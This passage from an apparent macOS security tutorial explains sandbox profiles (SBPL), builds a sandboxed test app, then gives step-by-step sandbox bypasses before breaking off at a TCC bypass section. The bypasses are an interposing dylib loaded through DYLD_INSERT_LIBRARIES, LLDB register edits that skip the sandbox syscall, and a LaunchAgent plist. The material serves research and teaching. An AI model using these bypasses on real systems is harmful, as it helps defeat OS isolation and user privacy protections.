      <li>Finally, <code class="language-plaintext highlighter-rouge">libsystem_secinit.dylib</code> applies the sandbox restrictions by making a syscall (<code class="language-plaintext highlighter-rouge">__mac_syscall</code>) to the sandbox kernel extension, which enforces the sandbox policies.</li>
    </ul>
  </li>
</ol>

<p>## Sandbox Profile Language</p>

<h4 id="sandbox-profile-language-sbpl-syntax">Sandbox Profile Language (SBPL) Syntax</h4>

<p>Sandbox profiles are written in SBPL, which uses a Lisp-like syntax. The key components include:</p>

<ul>
  <li><strong>(version X)</strong>: Specifies the version of the SBPL.</li>
  <li><strong>(allow …)</strong>: Allows specific actions or accesses.</li>
  <li><strong>(deny …)</strong>: Denies specific actions or accesses.</li>
  <li><strong>(regex “…”)</strong>: Uses regular expressions to match paths or resources.</li>
</ul>

<h4 id="applying-and-testing-profiles">Applying and Testing Profiles</h4>

<ol>
  <li><strong>Creating Profiles</strong>:
    <ul>
      <li>Write the profile rules in a text editor and save the file with a <code class="language-plaintext highlighter-rouge">.sb</code> extension.</li>
    </ul>
  </li>
  <li><strong>Applying Profiles</strong>:
    <ul>
      <li>Use the <code class="language-plaintext highlighter-rouge">sandbox-exec</code> command to apply the profile to an application for testing.</li>
    </ul>

    <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>sandbox-exec <span class="nt">-f</span> path/to/profile.sb /path/to/application
</code></pre></div>    </div>
  </li>
  <li><strong>Testing and Debugging</strong>:
    <ul>
      <li>Run the application with the applied profile and monitor its behavior. Adjust the rules as necessary to ensure the application functions correctly while adhering to the security constraints.</li>
    </ul>
  </li>
</ol>

<h4 id="1-default-profiles">1. Default Profiles</h4>

<p><strong>Example: Default Browser Profile</strong></p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>(version 1)
(allow file-read-data (regex "^/Users/[^/]+/"))
(allow file-write-data (regex "^/Users/[^/]+/"))
(allow network-outbound (remote tcp))
(deny file-read-data (regex "^/System/"))
(deny file-write-data (regex "^/System/"))
</code></pre></div></div>

<ul>
  <li><strong>(version 1)</strong>: Specifies the SBPL version.</li>
  <li><strong>(allow file-read-data (regex “^/Users/[^/]+/”))</strong>: Allows the application to read data from any user’s home directory.</li>
  <li><strong>(allow file-write-data (regex “^/Users/[^/]+/”))</strong>: Allows the application to write data to any user’s home directory.</li>
  <li><strong>(allow network-outbound (remote tcp))</strong>: Allows outbound TCP network connections, enabling internet access.</li>
  <li><strong>(deny file-read-data (regex “^/System/”))</strong>: Denies reading data from the system directory, protecting system files.</li>
  <li><strong>(deny file-write-data (regex “^/System/”))</strong>: Denies writing data to the system directory, preventing system modification.</li>
</ul>

<h4 id="2-custom-application-profiles">2. Custom Application Profiles</h4>

<p><strong>Example: Custom Profile for a Media Player</strong></p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>(version 1)
(deny default)
(allow file-read-data (regex "^/Users/[^/]+/Music/"))
(allow file-read-data (regex "^/Users/[^/]+/Movies/"))
(allow network-outbound (remote tcp))
(deny file-read-data (regex "^/Users/[^/]+/Documents/"))
(deny file-write-data)
</code></pre></div></div>

<p><strong>Explanation</strong>:</p>
<ul>
  <li><strong>(version 1)</strong>: Specifies the SBPL version.</li>
  <li><strong>(deny default)</strong>: Denies all actions by default, enforcing a restrictive policy.</li>
  <li><strong>(allow file-read-data (regex “^/Users/[^/]+/Music/”))</strong>: Allows reading data from the Music directory.</li>
  <li><strong>(allow file-read-data (regex “^/Users/[^/]+/Movies/”))</strong>: Allows reading data from the Movies directory.</li>
  <li><strong>(allow network-outbound (remote tcp))</strong>: Allows outbound TCP network connections for streaming.</li>
  <li><strong>(deny file-read-data (regex “^/Users/[^/]+/Documents/”))</strong>: Denies reading data from the Documents directory.</li>
  <li><strong>(deny file-write-data)</strong>: Denies all file write operations, preventing any modifications.</li>
</ul>

<h4 id="3-developer-profiles">3. Developer Profiles</h4>

<p><strong>Example: Developer Profile for a Web Application</strong></p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>(version 1)
(allow file-read-data)
(allow file-write-data)
(allow network-outbound (remote tcp))
(allow network-inbound (local tcp))
</code></pre></div></div>

<p><strong>Explanation</strong>:</p>
<ul>
  <li><strong>(version 1)</strong>: Specifies the SBPL version.</li>
  <li><strong>(allow file-read-data)</strong>: Allows reading data from any file location.</li>
  <li><strong>(allow file-write-data)</strong>: Allows writing data to any file location.</li>
  <li><strong>(allow network-outbound (remote tcp))</strong>: Allows outbound TCP network connections, enabling internet access.</li>
  <li><strong>(allow network-inbound (local tcp))</strong>: Allows inbound TCP network connections, facilitating local testing and debugging.</li>
</ul>

<h4 id="4-service-specific-profiles">4. Service-Specific Profiles</h4>

<p><strong>Example: Profile for a Backup Service</strong></p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>(version 1)
(deny default)
(allow file-read-data (regex "^/Users/[^/]+/"))
(deny file-write-data)
(deny network-outbound)
</code></pre></div></div>

<p><strong>Explanation</strong>:</p>
<ul>
  <li><strong>(version 1)</strong>: Specifies the SBPL version.</li>
  <li><strong>(deny default)</strong>: Denies all actions by default, enforcing a restrictive policy.</li>
  <li><strong>(allow file-read-data (regex “^/Users/[^/]+/”))</strong>: Allows reading data from any user’s home directory for backup purposes.</li>
  <li><strong>(deny file-write-data)</strong>: Denies all file write operations, preventing any modifications.</li>
  <li><strong>(deny network-outbound)</strong>: Denies outbound network connections, ensuring no data is sent over the network.</li>
</ul>

<h4 id="5-minimalist-profiles">5. Minimalist Profiles</h4>

<p><strong>Example: Minimalist Profile for a Secure Notes App</strong></p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>(version 1)
(deny default)
(allow file-read-data (regex "^/Users/[^/]+/SecureNotes/"))
(allow file-write-data (regex "^/Users/[^/]+/SecureNotes/"))
(deny network-outbound)
(deny network-inbound)
</code></pre></div></div>

<p><strong>Explanation</strong>:</p>
<ul>
  <li><strong>(version 1)</strong>: Specifies the SBPL version.</li>
  <li><strong>(deny default)</strong>: Denies all actions by default, enforcing a highly restrictive policy.</li>
  <li><strong>(allow file-read-data (regex “^/Users/[^/]+/SecureNotes/”))</strong>: Allows reading data only from the SecureNotes directory.</li>
  <li><strong>(allow file-write-data (regex “^/Users/[^/]+/SecureNotes/”))</strong>: Allows writing data only to the SecureNotes directory.</li>
  <li><strong>(deny network-outbound)</strong>: Denies outbound network connections, preventing data from being sent out.</li>
  <li><strong>(deny network-inbound)</strong>: Denies inbound network connections, ensuring no external access.</li>
</ul>

<h2 id="building-and-testing-a-sandboxed-application">Building and Testing a Sandboxed Application</h2>

<p>We will create a simple application that attempts to read a file in the <code class="language-plaintext highlighter-rouge">/etc/</code> directory and observe how the sandbox restricts this operation.</p>

<h4 id="step-1-create-the-application">Step 1: Create the Application</h4>

<p>First, we will create a simple C application that tries to read the contents of a file in the <code class="language-plaintext highlighter-rouge">/etc/</code> directory.</p>

<p><strong>Source Code of Sandboxed Application</strong></p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">#include</span> <span class="cpf">&lt;stdio.h&gt;</span><span class="cp">
</span>
<span class="kt">int</span> <span class="nf">main</span><span class="p">()</span> <span class="p">{</span>
  <span class="kt">FILE</span> <span class="o">*</span><span class="n">file</span><span class="p">;</span>
  <span class="kt">char</span> <span class="n">buffer</span><span class="p">[</span><span class="mi">100</span><span class="p">];</span>

  <span class="n">file</span> <span class="o">=</span> <span class="n">fopen</span><span class="p">(</span><span class="s">"/etc/hosts"</span><span class="p">,</span> <span class="s">"r"</span><span class="p">);</span>
  <span class="k">if</span> <span class="p">(</span><span class="n">file</span> <span class="o">==</span> <span class="nb">NULL</span><span class="p">)</span> <span class="p">{</span>
    <span class="n">perror</span><span class="p">(</span><span class="s">"Error opening file"</span><span class="p">);</span>
    <span class="k">return</span> <span class="o">-</span><span class="mi">1</span><span class="p">;</span>
  <span class="p">}</span>

  <span class="k">while</span> <span class="p">(</span><span class="n">fgets</span><span class="p">(</span><span class="n">buffer</span><span class="p">,</span> <span class="mi">100</span><span class="p">,</span> <span class="n">file</span><span class="p">)</span> <span class="o">!=</span> <span class="nb">NULL</span><span class="p">)</span> <span class="p">{</span>
    <span class="n">printf</span><span class="p">(</span><span class="s">"%s"</span><span class="p">,</span> <span class="n">buffer</span><span class="p">);</span>
  <span class="p">}</span>

  <span class="n">fclose</span><span class="p">(</span><span class="n">file</span><span class="p">);</span>
  <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<p>Save this code in a file named <code class="language-plaintext highlighter-rouge">readfile.c</code>.</p>

<h4 id="step-2-create-the-entitlement-file">Step 2: Create the Entitlement File</h4>

<p>To enable sandboxing, we need to create an entitlement file that forces the application into the sandbox.</p>

<p><strong>Entitlement File (readfile.xml)</strong></p>

<div class="language-xml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">&lt;!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"&gt;</span>
<span class="nt">&lt;plist</span> <span class="na">version=</span><span class="s">"1.0"</span><span class="nt">&gt;</span>
<span class="nt">&lt;dict&gt;</span>
    <span class="nt">&lt;key&gt;</span>com.apple.security.app-sandbox<span class="nt">&lt;/key&gt;</span>
    <span class="nt">&lt;true/&gt;</span>
<span class="nt">&lt;/dict&gt;</span>
<span class="nt">&lt;/plist&gt;</span>
</code></pre></div></div>

<p>Save this content in a file named <code class="language-plaintext highlighter-rouge">readfile.xml</code>.</p>

<h4 id="step-3-create-the-infoplist-file">Step 3: Create the Info.plist File</h4>

<p>We also need an <code class="language-plaintext highlighter-rouge">Info.plist</code> file to embed in our application.</p>

<p><strong>Info.plist</strong></p>

<div class="language-xml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nt">&lt;plist</span> <span class="na">version=</span><span class="s">"1.0"</span><span class="nt">&gt;</span>
<span class="nt">&lt;dict&gt;</span>
  <span class="nt">&lt;key&gt;</span>CFBundleIdentifier<span class="nt">&lt;/key&gt;</span>
  <span class="nt">&lt;string&gt;</span>com.example.readfile<span class="nt">&lt;/string&gt;</span>
  <span class="nt">&lt;key&gt;</span>CFBundleName<span class="nt">&lt;/key&gt;</span>
  <span class="nt">&lt;string&gt;</span>ReadFile<span class="nt">&lt;/string&gt;</span>
<span class="nt">&lt;/dict&gt;</span>
<span class="nt">&lt;/plist&gt;</span>
</code></pre></div></div>

<p>Save this content in a file named <code class="language-plaintext highlighter-rouge">Info.plist</code>.</p>

<h4 id="step-4-compile-and-embed-infoplist">Step 4: Compile and Embed Info.plist</h4>

<p>To compile the application and embed the <code class="language-plaintext highlighter-rouge">Info.plist</code> file, use the following command:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>gcc <span class="nt">-Xlinker</span> <span class="nt">-sectcreate</span> <span class="nt">-Xlinker</span> __TEXT <span class="nt">-Xlinker</span> __info_plist <span class="nt">-Xlinker</span> Info.plist readfile.c <span class="nt">-o</span> readfile
</code></pre></div></div>

<h4 id="step-5-code-sign-the-application">Step 5: Code Sign the Application</h4>

<p>Next, we need to code sign the application with the sandbox entitlement.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>codesign <span class="nt">-s</span> <span class="s2">"Your Signing Identity"</span> <span class="nt">--entitlements</span> readfile.xml readfile
</code></pre></div></div>

<h4 id="step-6-run-the-application">Step 6: Run the Application</h4>

<p>Now, let’s run the application to see if it can read the file in the <code class="language-plaintext highlighter-rouge">/etc/</code> directory.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>./readfile
Error opening file: Operation not permitted
</code></pre></div></div>

<p>As expected, the operation is not permitted because the sandbox restricts access to the <code class="language-plaintext highlighter-rouge">/etc/</code> directory.</p>

<h2 id="guide-for-sandbox-escaping">Guide for sandbox Escaping</h2>

<p>There are couples of ways can be considered to escape/bypass the sandbox:</p>

<h3 id="method-1-kernel-vulnerability-exploitation">Method 1: Kernel Vulnerability Exploitation</h3>

<p><strong>Summary</strong>: This method involves finding and exploiting a vulnerability in the macOS kernel. Exploiting a kernel vulnerability grants immediate kernel privileges, effectively bypassing the sandbox and escalating user privileges. This approach is commonly used across various operating systems, including Windows.</p>

<ul>
  <li><strong>Advantages</strong>: Provides immediate kernel privileges and complete control over the system.</li>
  <li><strong>Disadvantages</strong>: Requires deep knowledge of kernel internals and sophisticated exploitation techniques. Finding exploitable kernel vulnerabilities can be challenging.</li>
</ul>

<h3 id="method-2-non-sandboxed-binary-execution">Method 2: Non-Sandboxed Binary Execution</h3>

<p><strong>Summary</strong>: This method involves placing a non-sandboxed binary or script on the system and having a non-sandboxed application execute it. The execution of the non-sandboxed binary allows the escape from the sandbox.</p>

<p><strong>Approach 1</strong>: Use PLIST Files in Launch Agents or Daemons</p>
<ul>
  <li><strong>Description</strong>: Drop a PLIST file inside <code class="language-plaintext highlighter-rouge">~/Library/LaunchAgents</code> or <code class="language-plaintext highlighter-rouge">/Library/LaunchDaemons</code>. The <code class="language-plaintext highlighter-rouge">launchd</code> service will later execute the binary specified in the PLIST file outside the sandbox.</li>
  <li><strong>Steps</strong>:
    <ul>
      <li>Create a PLIST file with the appropriate configuration to execute your binary.</li>
      <li>Place the PLIST file in the <code class="language-plaintext highlighter-rouge">~/Library/LaunchAgents</code> or <code class="language-plaintext highlighter-rouge">/Library/LaunchDaemons</code> directory.</li>
      <li>Wait for <code class="language-plaintext highlighter-rouge">launchd</code> to execute the binary.</li>
    </ul>
  </li>
</ul>

<p><strong>Approach 2</strong>: Communicate with a Non-Sandboxed Mach Service</p>
<ul>
  <li><strong>Description</strong>: Find a non-sandboxed Mach service that can be instructed to execute a binary. Communicate with this service to have it execute the binary for you outside the sandbox.</li>
  <li><strong>Steps</strong>:
    <ul>
      <li>Identify a suitable non-sandboxed Mach service.</li>
      <li>Develop a way to communicate with the Mach service.</li>
      <li>Instruct the service to execute your binary.</li>
    </ul>
  </li>
  <li><strong>Advantages</strong>: Relatively easier to implement compared to kernel exploitation.</li>
  <li><strong>Disadvantages</strong>: Depends on the availability of non-sandboxed applications or services willing to execute the binary.</li>
</ul>

<h4 id="method-3-vulnerability-in-sandbox-implementation">Method 3: Vulnerability in Sandbox Implementation</h4>

<p><strong>Summary</strong>: This method involves finding and exploiting a vulnerability within the sandbox implementation itself. By exploiting this vulnerability, it is possible to break out of the sandbox restrictions.</p>

<ul>
  <li><strong>Advantages</strong>: Directly targets the sandbox mechanism, potentially leading to a more reliable escape.</li>
  <li><strong>Disadvantages</strong>: Requires a detailed understanding of the sandbox implementation and identifying exploitable flaws within it.</li>
</ul>

<h2 id="method-1-using-interposing-to-disable-sandbox">Method 1 Using Interposing to Disable Sandbox</h2>

<p>This guide provides step-by-step instructions to disable macOS sandbox restrictions using the interposing technique. We will create a dynamic library that interposes the <code class="language-plaintext highlighter-rouge">__mac_syscall</code> function to bypass sandboxing for our <code class="language-plaintext highlighter-rouge">readfile</code> application.</p>

<h4 id="step-1-create-the-interposing-library">Step 1: Create the Interposing Library</h4>

<ol>
  <li>
    <p><strong>Write the Interposing Code</strong>:
Create a new file named <code class="language-plaintext highlighter-rouge">interpose.c</code> with the following content:</p>

    <div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">#include</span> <span class="cpf">&lt;stdio.h&gt;</span><span class="cp">
</span>
<span class="kt">int</span> <span class="nf">__mac_syscall</span><span class="p">(</span><span class="k">const</span> <span class="kt">char</span> <span class="o">*</span><span class="n">_policyname</span><span class="p">,</span> <span class="kt">int</span> <span class="n">_call</span><span class="p">,</span> <span class="kt">void</span> <span class="o">*</span><span class="n">_arg</span><span class="p">);</span>

<span class="cp">#define DYLD_INTERPOSE(_replacement, _replacee) \
    __attribute__((used)) static struct { \
        const void* replacement; \
        const void* replacee; \
    } _interpose_##_replacee __attribute__ ((section("__DATA, __interpose"))) = { \
        (const void*) (unsigned long) &amp;_replacement, \
        (const void*) (unsigned long) &amp;_replacee \
    };
</span>
<span class="kt">int</span> <span class="nf">my_mac_syscall</span><span class="p">(</span><span class="k">const</span> <span class="kt">char</span> <span class="o">*</span><span class="n">_policyname</span><span class="p">,</span> <span class="kt">int</span> <span class="n">_call</span><span class="p">,</span> <span class="kt">void</span> <span class="o">*</span><span class="n">_arg</span><span class="p">)</span> <span class="p">{</span>
    <span class="n">printf</span><span class="p">(</span><span class="s">"__mac_syscall arguments: policyname ==&gt; %s, call ==&gt; %d, arg ==&gt; %p)</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">_policyname</span><span class="p">,</span> <span class="n">_call</span><span class="p">,</span> <span class="n">_arg</span><span class="p">);</span>
    <span class="k">return</span> <span class="mi">0</span><span class="p">;</span> 
<span class="p">}</span>

<span class="n">DYLD_INTERPOSE</span><span class="p">(</span><span class="n">my_mac_syscall</span><span class="p">,</span> <span class="n">__mac_syscall</span><span class="p">);</span>
</code></pre></div>    </div>
  </li>
  <li>
    <p><strong>Explanation</strong>:</p>
    <ul>
      <li><strong><code class="language-plaintext highlighter-rouge">__mac_syscall</code></strong>: Declares the original system function that we will interpose.</li>
      <li><strong><code class="language-plaintext highlighter-rouge">DYLD_INTERPOSE</code></strong>: Macro used to interpose the <code class="language-plaintext highlighter-rouge">__mac_syscall</code> function.</li>
      <li><strong><code class="language-plaintext highlighter-rouge">my_mac_syscall</code></strong>: Custom implementation of <code class="language-plaintext highlighter-rouge">__mac_syscall</code> that prints the function arguments and returns 0, indicating a successful call.</li>
    </ul>
  </li>
</ol>

<h4 id="step-2-compile-the-interposing-library">Step 2: Compile the Interposing Library</h4>

<ol>
  <li>
    <p><strong>Compile</strong>:
Use the following command to compile the interposing library into a dynamic library (<code class="language-plaintext highlighter-rouge">.dylib</code>):</p>

    <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>gcc <span class="nt">-dynamiclib</span> <span class="nt">-o</span> interpose.dylib interpose.c
</code></pre></div>    </div>

    <p>This command creates a dynamic library named <code class="language-plaintext highlighter-rouge">interpose.dylib</code>.</p>
  </li>
</ol>

<h4 id="step-3-run-the-application-with-interposing-library">Step 3: Run the Application with Interposing Library</h4>

<ol>
  <li>
    <p><strong>Run with DYLD_INSERT_LIBRARIES</strong>:
Set the <code class="language-plaintext highlighter-rouge">DYLD_INSERT_LIBRARIES</code> environment variable to the path of the interposing library and run the <code class="language-plaintext highlighter-rouge">readfile</code> application:</p>

    <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">DYLD_INSERT_LIBRARIES</span><span class="o">=</span>./interpose.dylib ./readfile
</code></pre></div>    </div>

    <p>This command sets up the environment so that the dynamic loader (<code class="language-plaintext highlighter-rouge">dyld</code>) loads the interposing library before executing the <code class="language-plaintext highlighter-rouge">readfile</code> application.</p>
  </li>
</ol>

<h2 id="method-2-inspect--bypass-sandbox-initialization-process-using-lldb-debugger">Method 2: Inspect &amp; Bypass sandbox initialization process Using LLDB Debugger</h2>

<p>This guide provides step-by-step instructions to bypass macOS sandbox restrictions using the LLDB debugger on the previously created <code class="language-plaintext highlighter-rouge">readfile</code> application. The <code class="language-plaintext highlighter-rouge">readfile</code> application attempts to read the <code class="language-plaintext highlighter-rouge">/etc/hosts</code> file, which is restricted by the sandbox.</p>

<h4 id="step-1-load-the-executable-into-the-debugger">Step 1: Load the Executable into the Debugger</h4>

<ol>
  <li>
    <p><strong>Start LLDB</strong>:
Open your terminal and start LLDB with the target application:</p>

    <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>lldb ./readfile
</code></pre></div>    </div>
  </li>
  <li>
    <p><strong>Create Target</strong>:
Set the executable as the target:</p>

    <pre><code class="language-lldb">(lldb) target create "./readfile"
</code></pre>

    <p>This command loads the <code class="language-plaintext highlighter-rouge">readfile</code> application into the debugger.</p>
  </li>
</ol>

<h4 id="step-2-set-a-breakpoint-on-xpc_pipe_routine">Step 2: Set a Breakpoint on <code class="language-plaintext highlighter-rouge">xpc_pipe_routine</code></h4>

<ol>
  <li>
    <p><strong>Set Breakpoint</strong>:
Set a breakpoint on the <code class="language-plaintext highlighter-rouge">xpc_pipe_routine</code> function, which is responsible for handling inter-process communication:</p>

    <pre><code class="language-lldb">(lldb) b xpc_pipe_routine
</code></pre>

    <p>The debugger will break when it reaches this function.</p>
  </li>
</ol>

<h4 id="step-3-run-the-application">Step 3: Run the Application</h4>

<ol>
  <li>
    <p><strong>Run</strong>:
Start running the application within the debugger:</p>

    <pre><code class="language-lldb">(lldb) run
</code></pre>

    <p>The application will start and pause when it hits the breakpoint.</p>
  </li>
</ol>

<h4 id="step-4-check-the-backtrace">Step 4: Check the Backtrace</h4>

<ol>
  <li>
    <p><strong>Backtrace</strong>:
Check the backtrace to understand the call stack at the breakpoint:</p>

    <pre><code class="language-lldb">(lldb) bt
</code></pre>

    <p>This command provides a backtrace showing the series of function calls leading to <code class="language-plaintext highlighter-rouge">xpc_pipe_routine</code>.</p>
  </li>
</ol>

<h4 id="step-5-continue-execution-and-break-again">Step 5: Continue Execution and Break Again</h4>

<ol>
  <li>
    <p><strong>Continue</strong>:
Resume execution to hit the breakpoint again, this time ensuring it is called from the relevant function (<code class="language-plaintext highlighter-rouge">_libsecinit_appsandbox</code>):</p>

    <pre><code class="language-lldb">(lldb) c
</code></pre>
  </li>
  <li>
    <p><strong>Backtrace</strong>:
Check the backtrace again to verify the call stack:</p>

    <pre><code class="language-lldb">(lldb) bt
</code></pre>

    <p>Ensure <code class="language-plaintext highlighter-rouge">xpc_pipe_routine</code> is called from <code class="language-plaintext highlighter-rouge">_libsecinit_appsandbox</code>.</p>
  </li>
</ol>

<h4 id="step-6-inspect-the-xpc-message">Step 6: Inspect the XPC Message</h4>

<ol>
  <li>
    <p><strong>Inspect Message</strong>:
Use the <code class="language-plaintext highlighter-rouge">p</code> command to inspect the XPC message being sent:</p>

    <pre><code class="language-lldb">(lldb) p (char *) xpc_copy_description($rsi)
</code></pre>

    <p>This command prints the details of the XPC message.</p>
  </li>
  <li>
    <p><strong>Retrieve Reply Address</strong>:
Read the value of the RDX register to find the address where the XPC reply will be stored:</p>

    <pre><code class="language-lldb">(lldb) register read $rdx
</code></pre>

    <p>Note the address returned by this command.</p>
  </li>
</ol>

<h4 id="step-7-step-out-and-inspect-the-reply">Step 7: Step Out and Inspect the Reply</h4>

<ol>
  <li>
    <p><strong>Step Out</strong>:
Step out of the <code class="language-plaintext highlighter-rouge">xpc_pipe_routine</code> function call to continue execution until it returns:</p>

    <pre><code class="language-lldb">(lldb) finish
</code></pre>
  </li>
  <li>
    <p><strong>Read Memory</strong>:
Read the memory at the address noted in the previous step to inspect the XPC reply:</p>

    <pre><code class="language-lldb">(lldb) memory read -f p 0x00007ffeefbfdc28 -c 1
(lldb) p (char *) xpc_copy_description(0x0000000100202bd0)
</code></pre>

    <p>This command displays the details of the XPC reply, providing information about sandboxing.</p>
  </li>
</ol>

<h4 id="step-8-set-a-conditional-breakpoint-on-__mac_syscall">Step 8: Set a Conditional Breakpoint on <code class="language-plaintext highlighter-rouge">__mac_syscall</code></h4>

<ol>
  <li>
    <p><strong>Set Breakpoint</strong>:
Set a conditional breakpoint on <code class="language-plaintext highlighter-rouge">__mac_syscall</code> to intercept the sandbox initialization:</p>

    <pre><code class="language-lldb">(lldb) breakpoint set --name __mac_syscall --condition '($rsi == 0)'
</code></pre>

    <p>This breakpoint triggers when the second argument (RSI) is zero, indicating a sandbox initialization call.</p>
  </li>
</ol>

<h4 id="step-9-continue-and-modify-execution">Step 9: Continue and Modify Execution</h4>

<ol>
  <li>
    <p><strong>Continue</strong>:
Resume execution to hit the conditional breakpoint:</p>

    <pre><code class="language-lldb">(lldb) c
</code></pre>
  </li>
  <li>
    <p><strong>Check Parameters</strong>:
Verify the parameters after hitting the breakpoint to ensure it is the correct call:</p>

    <pre><code class="language-lldb">(lldb) memory read -f s $rdi
(lldb) register read $rsi
</code></pre>
  </li>
  <li>
    <p><strong>Skip System Call</strong>:
Modify the instruction pointer to skip the system call and set the return value to indicate success:</p>

    <pre><code class="language-lldb">(lldb) register write $rip 0xADDRESS
(lldb) register write $rax 0
(lldb) breakpoint delete 1
(lldb) c
</code></pre>

    <ul>
      <li><strong><code class="language-plaintext highlighter-rouge">register write $rip 0xADDRESS</code></strong>: Adjusts the instruction pointer to skip the system call.</li>
      <li><strong><code class="language-plaintext highlighter-rouge">register write $rax 0</code></strong>: Sets the return value to 0, indicating a successful call.</li>
      <li><strong><code class="language-plaintext highlighter-rouge">breakpoint delete 1</code></strong>: Deletes the initial breakpoint set on <code class="language-plaintext highlighter-rouge">xpc_pipe_routine</code>.</li>
    </ul>
  </li>
</ol>

<h4 id="step-10-verify-execution">Step 10: Verify Execution</h4>

<ol>
  <li>
    <p><strong>Run Application</strong>:
Allow the application to continue running and verify that it operates without sandbox restrictions.</p>

    <pre><code class="language-lldb">(lldb) c
</code></pre>
  </li>
</ol>

<h2 id="method3-escape-sandbox-using-launchd">Method3: Escape Sandbox Using <code class="language-plaintext highlighter-rouge">launchd</code></h2>

<p>This guide provides step-by-step instructions to bypass macOS sandbox restrictions using the <code class="language-plaintext highlighter-rouge">launchd</code> service. We will create a Launch Agent to execute our <code class="language-plaintext highlighter-rouge">readfile</code> application without sandbox restrictions.</p>

<h4 id="step-1-create-the-launch-agent-plist-file">Step 1: Create the Launch Agent PLIST File</h4>

<ol>
  <li>
    <p><strong>Write the PLIST Configuration</strong>:
Create a new file named <code class="language-plaintext highlighter-rouge">com.example.readfile.plist</code> with the following content:</p>

    <div class="language-xml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">&lt;?xml version="1.0" encoding="UTF-8"?&gt;</span>
<span class="cp">&lt;!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"&gt;</span>
<span class="nt">&lt;plist</span> <span class="na">version=</span><span class="s">"1.0"</span><span class="nt">&gt;</span>
<span class="nt">&lt;dict&gt;</span>
    <span class="nt">&lt;key&gt;</span>Label<span class="nt">&lt;/key&gt;</span>
    <span class="nt">&lt;string&gt;</span>com.example.readfile<span class="nt">&lt;/string&gt;</span>
    <span class="nt">&lt;key&gt;</span>ProgramArguments<span class="nt">&lt;/key&gt;</span>
    <span class="nt">&lt;array&gt;</span>
        <span class="nt">&lt;string&gt;</span>/path/to/readfile<span class="nt">&lt;/string&gt;</span>
    <span class="nt">&lt;/array&gt;</span>
    <span class="nt">&lt;key&gt;</span>RunAtLoad<span class="nt">&lt;/key&gt;</span>
    <span class="nt">&lt;true/&gt;</span>
<span class="nt">&lt;/dict&gt;</span>
<span class="nt">&lt;/plist&gt;</span>
</code></pre></div>    </div>
  </li>
  <li>
    <p><strong>Explanation</strong>:</p>
    <ul>
      <li><strong>Label</strong>: A unique identifier for the Launch Agent.</li>
      <li><strong>ProgramArguments</strong>: The path to the <code class="language-plaintext highlighter-rouge">readfile</code> application.</li>
      <li><strong>RunAtLoad</strong>: Ensures the application runs immediately after the Launch Agent is loaded.</li>
    </ul>
  </li>
</ol>

<h4 id="step-2-place-the-plist-file">Step 2: Place the PLIST File</h4>

<ol>
  <li>
    <p><strong>Copy PLIST File</strong>:
Copy the PLIST file to the <code class="language-plaintext highlighter-rouge">LaunchAgents</code> directory:</p>

    <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">cp </span>com.example.readfile.plist ~/Library/LaunchAgents/
</code></pre></div>    </div>

    <p>This places the PLIST file in the user’s Launch Agents directory.</p>
  </li>
</ol>

<h4 id="step-3-load-the-launch-agent">Step 3: Load the Launch Agent</h4>

<ol>
  <li>
    <p><strong>Load Agent</strong>:
Load the Launch Agent using the <code class="language-plaintext highlighter-rouge">launchctl</code> command:</p>

    <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>launchctl load ~/Library/LaunchAgents/com.example.readfile.plist
</code></pre></div>    </div>
  </li>
  <li>
    <p><strong>Verify Loading</strong>:
Ensure the Launch Agent is loaded by checking its status:</p>

    <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>launchctl list | <span class="nb">grep </span>com.example.readfile
</code></pre></div>    </div>

    <p>This command should return the identifier of the Launch Agent if it is loaded correctly.</p>
  </li>
</ol>

<h4 id="step-4-verify-application-execution">Step 4: Verify Application Execution</h4>

<ol>
  <li>
    <p><strong>Check Application Output</strong>:
The <code class="language-plaintext highlighter-rouge">readfile</code> application should execute without sandbox restrictions and read the <code class="language-plaintext highlighter-rouge">/etc/hosts</code> file. Check the application’s output:</p>

    <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">tail</span> <span class="nt">-f</span> /path/to/readfile/output.log
</code></pre></div>    </div>
  </li>
</ol>

<p>Ensure that the contents of the <code class="language-plaintext highlighter-rouge">/etc/hosts</code> file are displayed, indicating the application ran successfully without sandbox restrictions.</p>

<h1 id="tcc-bypass">TCC Bypass</h1>

<h2 id="fundamentals">Fundamentals</h2>

<p>Transparency, Consent, and Control (TCC) is a security framework implemented by Apple in macOS to manage and regulate applications’ access to certain sensitive user data and system resources. The primary goal of TCC is to ensure user privacy and security by requiring explicit user consent before applications can access protected resources like the camera, microphone, location data, contacts, and calendars.</p>

<p>Key concepts in TCC include:</p>

<ul>
  <li><strong>User Consent:</strong> Applications must request permission from users before accessing protected resources.</li>
  <li><strong>Transparency:</strong> Users are informed about what data and resources applications wish to access.</li>
  <li><strong>Control:</strong> Users can grant or revoke permissions at any time via the System Preferences.</li>
</ul>

